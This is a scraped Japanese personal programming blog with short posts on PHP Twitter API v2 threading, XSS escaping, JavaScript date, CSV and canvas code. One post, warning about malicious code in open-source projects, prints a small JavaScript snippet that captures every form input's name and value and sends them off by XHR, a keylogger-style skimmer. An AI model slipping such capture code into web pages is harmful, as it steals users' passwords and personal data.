<script src="https://cdnjs.cloudflare.com/ajax/libs/jquery/3.5.1/jquery.min.js"></script>
<script src="https://cdnjs.cloudflare.com/ajax/libs/popper.js/1.16.1/umd/popper.min.js"></script>
<script src="https://cdnjs.cloudflare.com/ajax/libs/twitter-bootstrap/4.6.0/js/bootstrap.min.js"></script>
</body>
</html>

著者名  @taoka_toshiaki

※この記事は著者が40代前半に書いたものです.

Profile
高知県在住の@taoka_toshiakiです、記事を読んで頂きありがとうございます.
数十年前から息を吸うように日々記事を書いてます.たまに休んだりする日もありますがほぼ毎日投稿を心掛けています😅.
SNSも使っています、フォロー、いいね、シェア宜しくお願い致します🙇.
SNS::@taoka_toshiaki

OFUSEで応援を送る

タグ

10, 2, , feed, feedUrl, function, GET, lt, php, qiita, Qiitafeed, string, UP, お待ち, コード, こと, サーバー, ソース, デザイン, デモ版, プログラム, ページ, もの, ユーザー, 人数, 今回, 今日, 何人, 処理, 別記事, 取得, 同期, 土曜日, 変更, 実質, 実際, 感じ, 推奨, 描画, 文化の日, , 明日, 時間, , 自分, 表示, 見た目, 記載, 起動, 部分, 限度, 雰囲気,

Photo by Pixabay on Pexels.com

Twitter-API-v2ツイート数珠繋ぎ #コード公開 #php

2022.10.04

Logging

おはようございます。土日祝も関係なくブログは毎日書いています🤮。

さて、今日はPHP言語でTwitterAPIバージョン2(v2)を使用してツイート数珠繋ぎをする方法を抜粋して記載していきます。こういうコードは今のところ出回っていないようです。少し調べれば公式サイトに記載しているのだけども・・・。まだ、日本語に対応した記事が少ないようです。v2でツイートする方法やリツイートする方法は何故かあるのだけどリプライ(Reply)[/statuses/update]する方法が記事としては記載していなかったので?記載します。

<?php
require_once "vendor/autoload.php";
use Abraham\TwitterOAuth\TwitterOAuth;

class tw{
    var $connection = null;
    function __construct()
    {
        $this->connection = new TwitterOAuth(APIKEY, APISECRET,ACCESSTOKEN, ACCESSTOKENSECRET);
        $this->connection->setApiVersion("2");
    }

    function pickup_tweets(mixed $tw_text=null){
         $obj = (object)[];
        if(isset($tw_text) && is_array($tw_text)){
            foreach ($tw_text as $key => $value) {
                if(preg_replace("/[ | ]/","",$value)){
                    $obj = !$key?(
                        $this->connection->post("tweets", ["text" =>$value], true)
                    ):
                    (
                        $this->connection->post("tweets", ["reply"=>["in_reply_to_tweet_id"=>$obj->data->id],"text"=> $value], true)
                    );
                }
            }
            return true;
        }
        return false;
    }
}

最初に結論とコードのアルゴリズムに付いて解説します。まず、tweetsのパラメーターでリプライ出来るように変更されています。v1.1とはそこが変わっているので同じ仕組みを検索しがちですがそれでは検索にヒットしないようです🤔。まずはエンドポイントの変更点の確認が必要みたい👏。

エンドポイントのv1.1からv2への対応表

エンドポイントのv1.1からv2への対応表が公式から出ているので確認してみてください↑。

次にコードの解説ですがまずTwitterOAuthライブラリをインストールを行い、defineなどの設定なども考慮した上で実行してみてください(コードに追記記載が必要)。変数、$tw_textは配列です。また投稿する文字が入っていると考えてください。そしてこのコードを下記のような考え方で実行してみてください。

<?php
       require_once "tw-index.php";
       $tw_text[0] ="test1";
       $tw_text[1] ="test2";
       $tw = new tw();
       if($tw->pickup_tweets($tw_text)){
        $ret["msg"] = "ok";
       }else{
        $ret["msg"] = "NG";
       }
       var_dump($ret);

※前提条件としてtwitter社にAPIの申請を行って受理されている事。

Twitter API v2 ツイート数珠繋ぎ

これで思った通り実行出来たと思います。尚、自分のように管理画面などを作って数珠繋ぎの投稿するのも良いかも知れません🫠。

著者名  @taoka_toshiaki

※この記事は著者が40代前半に書いたものです.

Profile
高知県在住の@taoka_toshiakiです、記事を読んで頂きありがとうございます.
数十年前から息を吸うように日々記事を書いてます.たまに休んだりする日もありますがほぼ毎日投稿を心掛けています😅.
SNSも使っています、フォロー、いいね、シェア宜しくお願い致します🙇.
SNS::@taoka_toshiaki

OFUSEで応援を送る

タグ

2, Abraham, autoload, class, connection, function, lt, null, once, php, quot, Reply, require, statuses, tw, Twitter-API-v, TwitterAPI, TwitterOAuth, UPDATE, use, var, vendor, コード, サイト, ツイート, ところ, バージョン, ブログ, リツイート, リプライ, , 今日, 使用, 公式, 公開, 土日, 対応, 少し, 抜粋, 数珠繋ぎ, 方法, 日本語, 毎日, , 言語, 記事, 記載,

Photo by Stas Knop on Pexels.com

若気の至り若気の過ちか?Mr.ROBOT🤖

2022.09.11

Logging

こんばんは、深夜便で東京に向かってます(嘘です)。

今日は緊急で動画廻してます(記事を書いています)。私が昔書いたコードに大きな脆弱性が合ったので、そのコードの穴だけ塞ぎました。まだ、色々な所に穴があるかもしれないですが・・・。

この脆弱性に関しては知っていたのですが、昔のコードをそのままにしていたのを失念していたのです、それが大きな過ち…。仕事では重大インシデントになりますね😱。

<?php
 function defence_xss($data=""){
    if(is_array($data)){
        foreach ($data as $key => $value) {
            $data[$key] = strip_tags($value);
            $data[$key] = htmlspecialchars($data[$key],ENT_QUOTES);
        }
    }else{
        $data = strip_tags($data);
        $data = htmlspecialchars($data,ENT_QUOTES);
    }
    return $data;
}

今回、塞いだのは初歩の脆弱性です、、、POSTやGETで送られるデータに悪意のあるコードなどを埋め込んでハッキングを行う手法です。またセッションジャックとかそういうのもありますので、気になる方は調べてみてください。

SQLインジェクション判決、オニギリペイ、これらをつなぐセミナーにかける思いを語る
徳丸浩のウェブセキュリティ講座

追記して書いときます。昔勤めていた会社でも何度か、この手の手法でハッキングに合いました。脆弱性が解消されているかは分かりません。XSS攻撃は防げても、これではSQLインジェクション攻撃は防げません、昔のコードで動いているとしたら修正箇所は無数にあるので一日では直せないでしょう。

昔勤めていた会社はShopifyへシステムを移行しているようですが、それが良いのかは分かりません、自分だったら物足りなさを感じると思います😌。

著者名  @taoka_toshiaki

※この記事は著者が40代前半に書いたものです.

Profile
高知県在住の@taoka_toshiakiです、記事を読んで頂きありがとうございます.
数十年前から息を吸うように日々記事を書いてます.たまに休んだりする日もありますがほぼ毎日投稿を心掛けています😅.
SNSも使っています、フォロー、いいね、シェア宜しくお願い致します🙇.
SNS::@taoka_toshiaki

OFUSEで応援を送る

タグ

array, as, data, defence, foreach, function, gt, htmlspecialchars, if, is, key, lt, Mr, php, quot, ROBOT, strip, tags, value, xss, インシデント, コード, それ, 今日, 仕事, 動画, , 失念, , , 東京, 深夜便, , , 緊急, 脆弱性, 色々, 若気, 記事,

Photo by Markus Winkler on Pexels.com

githubにはgistってのがある。ソースコードを貼り付けるやつこの頃見かけるようになったね!!

2022.07.21

Logging

おはようございます。これからはgistを使用しソースコードの共有していきます。

document.getElementById("test-code").insertAdjacentHTML("afterbegin",function(a){
    return "<h1>" + a + "</h1>";
}("test-code"));

そしてこのブログの立ち位置、個人の見解という所は変わらないですが、クローズドからオープンなスタイルで書いていくという考えだけは変わります。昔の記事を見返すと何を書いているのかと思う記事もあるものの、あまり真の部分は変わっていないなというのは、見返して思う所があります。

特に人を批判するような記事は書いていないと思うのでそのままで行こうと思っています。記事を読んでどう思うかは人それぞれです、ですので消さないで蓄積していこうと思っています。

Thank you for 10 years of code

有名なYOUTUBERさんを見ると過去の動画を今でもそのまま残している人は多くいると同じ感覚で、たまに読み返してみると青いなって思う反面、今の自分より弁が立つところもあったりして自分で頑張ろうって思うこともあります。

ブログに記載してある過去のソースコードも移植出来ればしていこうと思っていますので、プログラミングに興味のある方は参照くださいな😌。

では、これからもよろしくお願い致します🙇。

著者名  @taoka_toshiaki

※この記事は著者が40代前半に書いたものです.

Profile
高知県在住の@taoka_toshiakiです、記事を読んで頂きありがとうございます.
数十年前から息を吸うように日々記事を書いてます.たまに休んだりする日もありますがほぼ毎日投稿を心掛けています😅.
SNSも使っています、フォロー、いいね、シェア宜しくお願い致します🙇.
SNS::@taoka_toshiaki

OFUSEで応援を送る

タグ

"afterbegin&quot, A`, document.getElementById, function, gist, h1&gt, insertAdjacentHTML, lt, quot, quot;test-code&quot, return, YOUTUBERさん, クローズド, ソースコード, プログラミング, 反面, , , 立ち位置, 見解,

退職日まで日数を求める・JSでカウントダウンコードを構築してみた😆

2022.07.02

Logging

おはようございます。ちょっと退職後の事を思うと不安が過りますが、何とかなる何とかします😆。

さて、退職日まで後何日あるかを確認出来る物を作りました、土日はカウントしない場合も考慮しています。このコードは人様のコードを拝借して再構築したものになります。

参考にしたサイトはこちらです。土曜日、日曜日は除くように新たに無名関数を入れ込んでいます。土日はカウントせず月曜日のカウントになります。JavaScriptのコードは下記になります。HTMLコードに敢えて記載しません、ご自由に書き換えて試してくださいませ。

var showDiffDate = function( tYear, tMonth, tDay) {
    var nowDate = new Date();
    var dnumNow = nowDate.getTime();
    var targetDate = new Date( tYear, tMonth-1, tDay );
    var dnumTarget = targetDate.getTime();

    var diffMSec = dnumTarget - dnumNow;
    var diffDays = diffMSec / ( 1000 * 60 * 60 * 24 );
    var showDays = Math.ceil( diffDays ); 
    var Msg;
    if( showDays >= 0 ) {
       Msg = "" + showDays + " days(" + function(){
         var is_days = parseInt(parseInt(showDays) - Math.floor(showDays / 7) * 2);
         is_days = (nowDate.getDay() === 0)?is_days -2:is_days;
         is_days = (nowDate.getDay() === 6)?is_days -3:is_days;
         return is_days;
       }() +")";
    }
    else {
       Msg = "" + (showDays * -1) + "";
    }
    return Msg;
 };

 document.getElementById("days").innerText = showDiffDate(2022,7,15);

尚、このコードはそれほど難しいことはなく難易度で言えば最も簡単なコードだと思います。

著者名  @taoka_toshiaki

※この記事は著者が40代前半に書いたものです.

Profile
高知県在住の@taoka_toshiakiです、記事を読んで頂きありがとうございます.
数十年前から息を吸うように日々記事を書いてます.たまに休んだりする日もありますがほぼ毎日投稿を心掛けています😅.
SNSも使っています、フォロー、いいね、シェア宜しくお願い致します🙇.
SNS::@taoka_toshiaki

OFUSEで応援を送る

タグ

date, dnumNow, function, getTime, html, javascript, JS, new, nowDate, showDiffDate, targetDate, tDay, tMonth, tY, tYear, var, カウント, カウントダウン, コード, こちら, サイト, もの, 下記, 不安, , 人様, 何日, 参考, 土日, 土曜日, 場合, , 拝借, 日数, 日曜日, 月曜日, 構築, 無名, , 確認, 考慮, 記載, 退職, 関数,

Photo by Anete Lusina on Pexels.com

悪意になるコードそうだよねぇ~オープンソース怖い。

2022.06.01

Logging

おはようございます。6月が始まりました。

今日のお題は「悪意になるコードそうだよねぇ~オープンソース怖い。」です。

【ハッキング入門】キーロギングの仕組み IDとパスワードの取得方法【悪用厳禁】

こう思ったのは結構前からなのですが、今回、コードマフィアさんのYOUTUBE動画を見て再確認にした次第です。因みにこのソースコードが動くかどうかは知りません。

コードマフィアさんもお話されている通り、公式サイトで公開されているアプリ以外は注意が必要です、例えば無料配布サイトやgithubなどに置いてあるコードを実装するとかは、信頼性のないものは自らコードチェックを行わないと悪意のコードが入っていたという事もあるので・・・。

気をつけてくださいな😎

(function(){
    const doc = document.querySelectorAll("input");
    doc.forEach((e,k,p)=>{
        p[k].addEventListener("blur",(e)=>{
            var data = {};
            data["name"] = e.target.name;
            data["value"] = e.target.value;
            send1(data);
        });
    });
})();

function send1(data){
    var xhr = new XMLHttpRequest();
    xhr.open("GET", "/?${data.name}=${data.value}", true);
    xhr.onload = function (e) {
      if (xhr.readyState === 4) {
        if (xhr.status === 200) {
          console.log(xhr.responseText);
        } else {
          console.error(xhr.statusText);
        }
      }
    };
    xhr.onerror = function (e) {
      console.error(xhr.statusText);
    };
    xhr.send(null);     
}
その発想ない事もない。

著者名  @taoka_toshiaki

※この記事は著者が40代前半に書いたものです.

Profile
高知県在住の@taoka_toshiakiです、記事を読んで頂きありがとうございます.
数十年前から息を吸うように日々記事を書いてます.たまに休んだりする日もありますがほぼ毎日投稿を心掛けています😅.
SNSも使っています、フォロー、いいね、シェア宜しくお願い致します🙇.
SNS::@taoka_toshiaki

OFUSEで応援を送る

タグ

6, const, doc, document, foreach, function, github, gt, input, querySelectorAll, quot, youtube, アプリ, オープン, お話, コード, サイト, ソース, チェック, マフィア, もの, , 今回, 今日, 信頼性, 公式, 公開, , 動画, 実装, 必要, 悪意, 次第, , 注意, 無料, 確認, 自ら, 通り, 配布, ,

一見似ていて全然違うコードですよ、初心者のどつぼの壺。

2022.04.02

Logging

おはよう御座います。土曜日の朝です😪。

下記のコードは一見似ていて全然違うコードですよ、初心者のどつぼの壺と言いますか・・・。初心者がハマりやすい、thisの領域です。特にメンターのいない独学で勉強をしている人はハマりやすいかなと思ったので今回、サンプルコードを記載しました。昔、自分が何故と思ったのですが今ではfunctionがねぇと気づく内容のコードです。

document.getElementById("example").addEventListener("input",function(){
    main()
})
document.getElementById("example").addEventListener("input",main);

function main(){
    if(this.value){
        console.log(this);
    }
}

最初はみんな初心者です、間違いながら覚えていけばよいのです、失敗しながら覚えていけばバグ取り🐤が上手になります。そのうち、動作するバグ🐞になっていきます。動作するバグが一番厄介です、動作するのでエラーコードを出力しないのでバグを取るにはトレースか当たりをつけてトレースするしか無いのです。

そういうことなので、初心者の皆様気おつけてくださいませ😌。

著者名  @taoka_toshiaki

※この記事は著者が40代前半に書いたものです.

Profile
高知県在住の@taoka_toshiakiです、記事を読んで頂きありがとうございます.
数十年前から息を吸うように日々記事を書いてます.たまに休んだりする日もありますがほぼ毎日投稿を心掛けています😅.
SNSも使っています、フォロー、いいね、シェア宜しくお願い致します🙇.
SNS::@taoka_toshiaki

OFUSEで応援を送る

タグ

addEventListener, document, example, function, getElementById, if, input, main, quot, this, value, コード, サンプル, ドツボ, メンター, 一見, 下記, , , 今回, 内容, 初心者, 勉強, 土曜日, , , , 独学, 自分, 記載, 領域,

WordPressのapply_filtersを使うと便利ですよ。

2021.11.29

Logging

明日(2021/11/30)は高知県は雨が降るそうです、冬の雨はあまり自分は好きではないです・・・。どんより曇り空よりかはマシですけどね。

さて「WordPressのapply_filtersを使うと便利ですよ。」というお話です、有名なプラグインにはapply_filtersが大体あるので、それを使ってプラグインに自分のオリジナル処理を割り込むことが可能です。では、 apply_filtersはどんな動作をするかと言えば、独自のフィルターを登録するときに使用します。

なので、add_actionを使って登録されている独自のフィルター名を参照することで外部のプラグインに変更処理を行うこと等が可能になります。

<?php apply_filters( $tag, $value, $var ... ); ?> 
<?php add_action( $hook, $function_to_add, $priority, $accepted_args ); ?>

apply_filtersとadd_filterがどういう物なのかを完結に説明しているサイトが有りましたので、リンクを記載しときます。

https://blog.z0i.net/2016/11/apply-filters-add-filter.html

余談:ある有名なプラグインのコードを読んでいて、自分がプラグインを作るときにもapply_filtersなどを記載しておくと開発者に使用していただける確率は高くなるなと感じました。

著者名  @taoka_toshiaki

※この記事は著者が40代前半に書いたものです.

Profile
高知県在住の@taoka_toshiakiです、記事を読んで頂きありがとうございます.
数十年前から息を吸うように日々記事を書いてます.たまに休んだりする日もありますがほぼ毎日投稿を心掛けています😅.
SNSも使っています、フォロー、いいね、シェア宜しくお願い致します🙇.
SNS::@taoka_toshiaki

OFUSEで応援を送る

タグ

11, 2021, 30, Action, Add, apply, filters, function, gt, hook, lt, php, tag, To, value, var, WordPress, オリジナル, お話, こと, それ, とき, フィルター, プラグイン, まし, 使用, 便利, , 処理, 動作, 参照, 可能, 変更, 外部, 明日, 曇り空, 有名, 登録, 自分, , 高知県,

JavaScript(js)でcsvファイルを読み込み自動計算する(合計sum)

2021.11.17

Logging

謎の訪問者さんが検索窓を使用して何度かググっているので要望にお応えJavaScript(js)でcsvファイルを読み込み自動計算する(合計sum)というものを作りました。以前、csvを元にテーブルを作成するものを作っていました、ソースコードはそれを応用して作っています。実際、数万行に渡るファイルを自動計算するには、かなり爆速のパソコンが必要になります。このプログラムで耐えれるのは精々、1,000行あたりだと思います。

過去のコードと今回のサンプルデモのリンクを貼っときます。

どうぞご自由にお使いください。

https://zip358.com/tool/demo47/

"use strict";
var csv = {
	load:async function(filename,id){
		const responseFile = await fetch(filename);
        const result = await responseFile.text()
		let separate1 = /\r\n/;
		let separate2 = ",";
		let data = (result.split(separate1)).map(function(value){
			return (value.split(separate2)).map(function(value1){
				return value1;
			});
		});
		let sum =[];
		for (const usedata of data) {
            (usedata).map(function(val,index,array){
                sum[index] = (isNaN(parseInt(sum[index]))?0:parseInt(sum[index])) + parseInt(array[index]);
            });
		}
        console.log(sum);
		document.getElementById(id).innerHTML = sum.join(",");
		return "OK";
	}
};
csv.load("math.csv?", "sum");
JSでCSVファイルの和

著者名  @taoka_toshiaki

※この記事は著者が40代前半に書いたものです.

Profile
高知県在住の@taoka_toshiakiです、記事を読んで頂きありがとうございます.
数十年前から息を吸うように日々記事を書いてます.たまに休んだりする日もありますがほぼ毎日投稿を心掛けています😅.
SNSも使っています、フォロー、いいね、シェア宜しくお願い致します🙇.
SNS::@taoka_toshiaki

OFUSEで応援を送る

タグ

000, , async, await, const, CSV, fetch, filename, function, ID, javascript, JS, load, quot, res, responseFile, strict, sum, use, var, お応え, かなり, コード, ご自由, サンプル, ソース, それ, テーブル, デモ, パソコン, ファイル, プログラム, もの, リンク, 今回, 以前, 何度か, 作成, 使用, , 合計, 実際, 必要, 応用, 数万, 検索窓, 爆速, 精々, 自動, 要望, 計算, 訪問者, , 過去,

遅いぐらいだけどES2015(ES6)が使い出せそう。js(java script)の話。

2021.09.30

Logging

今日は清々しい朝ですね、久しぶりに高知県、晴れましたね。

さて、遅いぐらいだけどES2015(ES6)が使い出せそう。js(java script)の話。田舎では古いブラウザを使用している人が、いたりしてIE(インターネットエクスプローラー)をたまに使用している。だけど今回、 WindowsがWindows11にアップグレードされる事により、IEは廃止されるので堂々とES2015(ES6)以降の技術が使用できるようになる。これで現場は結構、自由に動けるようになるとおもいます。

6.2: Classes in JavaScript with ES6 – p5.js Tutorial

それぐらいIEは一昔前のものだと思っています・・・。さらばIE!!

ES6ではやっとclassが使用できるようになっているので開発者としては、とても便利ですよ。今までfunctionで書いていたものをclassで置き換えたいぐらいです!!因みにclassの中の関数にはfunctionと記載すると動かないので関数名だけを記載しましょう・・・。

また、ES6対応のブラウザ一覧表はこちらから参照してください。
http://kangax.github.io/compat-table/es6/

最後にサンプルとしてコードを記載します。
https://zip358.com/tool/demo42/

class main{
    constructor(foo){
        this.name = foo;
    }
    view() {
      document.getElementById("demo42").innerHTML  =  this.name;
    }
}
const m = new main("ES6");
m.view();

著者名  @taoka_toshiaki

※この記事は著者が40代前半に書いたものです.

Profile
高知県在住の@taoka_toshiakiです、記事を読んで頂きありがとうございます.
数十年前から息を吸うように日々記事を書いてます.たまに休んだりする日もありますがほぼ毎日投稿を心掛けています😅.
SNSも使っています、フォロー、いいね、シェア宜しくお願い致します🙇.
SNS::@taoka_toshiaki

OFUSEで応援を送る

タグ

11, 2015, 6, 7, 8, class, com, ES, function, https, IE, java, JS, L-, script, T-HGdc, watch, Windows, www, youtube, アップ, インターネット, エクスプローラー, グレード, これ, それぐらい, たま, ブラウザ, もの, , 久しぶり, , , 今回, 今日, 以降, 使用, 便利, 廃止, 技術, , , 現場, 田舎, 自由, , 開発者, 高知県,

プログラムを始めるきっかけになったアルゴリズム。

2021.05.31

Logging

プログラムを始めるきっかけになったのは、高校時代にひょんなことから情報処理の部活を見学に行った事がきっかけになっている。動画にあるような『枠の中を動き回る円のアルゴリズムを作ってみよう』という事が部活の先輩から出題された事が自分がプログラミングするきっかけだった、案外それが自分にあった事で今まで続いている。

プログラムを始めるきっかけになったアルゴリズム。

不思議なもので数十年も独学や仕事でプログラミングするとは思っていなかった。最初はN88BASICなどでこのプログラミングを書いていた。最初はオブジェクト指向言語なんて知らなかったのだけど、いつしかオブジェクト指向でプログラミングを書くことが多くなっている。ソースコードは人により違うのでひとの書いたプログラミングは読みにくいなどと言われる事もあるけど、他人のソースコードを見ることは結構大事なことだと思います。何故か?

自分では思いつかないコードを知ることになったり技を知ることになるので、どんなコードでも勉強になりますよ。てな訳です。

https://zip358.com/tool/line-line/

	let x = [40,0,30];
	let y = [0,40,30];
	let xp = [5,5,5]; 
	let yp = [5,5,5];
	let color = ["rgba(255,0,255,0.8)","rgba(255,255,0,0.8)","rgba(0,0,255,0.8)"]
	let cn = function(element,color,bx,by){
		var context = element.getContext( "2d" ) ;
		context.beginPath () ;
		context.arc((bx), (by), 5, 0 * Math.PI / 180, 360 * Math.PI / 180, false ) ;
		context.fillStyle = color;
		context.fill() ;
		context.strokeStyle = "purple" ;
		context.lineWidth = 2 ;
		context.stroke();
	};
	setInterval(() => {
		for(a = 0 ;a < x.length;a++){
			let base = xy(a);
			cn(document.getElementById("c"),color[a],base[0],base[1]);
		}
	},1);
	// setInterval(()=>{
	// 	let element = document.getElementById("c");
	// 	var context = element.getContext( "2d" ) ;
	// 	context.clearRect(0, 0, context.canvas.clientWidth, context.canvas.clientHeight);
	// },500);

	function xy(a){
		xp[a] = x[a] > 490 || x[a] < 0 ?xp[a]*-1:xp[a];
		yp[a] = y[a] > 440 || y[a] < 0 ?yp[a]*-1:yp[a];
		x[a]=x[a]+xp[a];
		y[a]=y[a]+yp[a];
		return [x[a],y[a]];
	}

著者名  @taoka_toshiaki

※この記事は著者が40代前半に書いたものです.

Profile
高知県在住の@taoka_toshiakiです、記事を読んで頂きありがとうございます.
数十年前から息を吸うように日々記事を書いてます.たまに休んだりする日もありますがほぼ毎日投稿を心掛けています😅.
SNSも使っています、フォロー、いいね、シェア宜しくお願い致します🙇.
SNS::@taoka_toshiaki

OFUSEで応援を送る

タグ

base, bx, cn, context.arc, context.beginPath, context.clearRect, context.fill, context.fillStyle, context.lineWidth, context.stroke, context.strokeStyle, function, getElementById, Math.PI, quot, quot;rgba, setInterval, xp, xy, yp,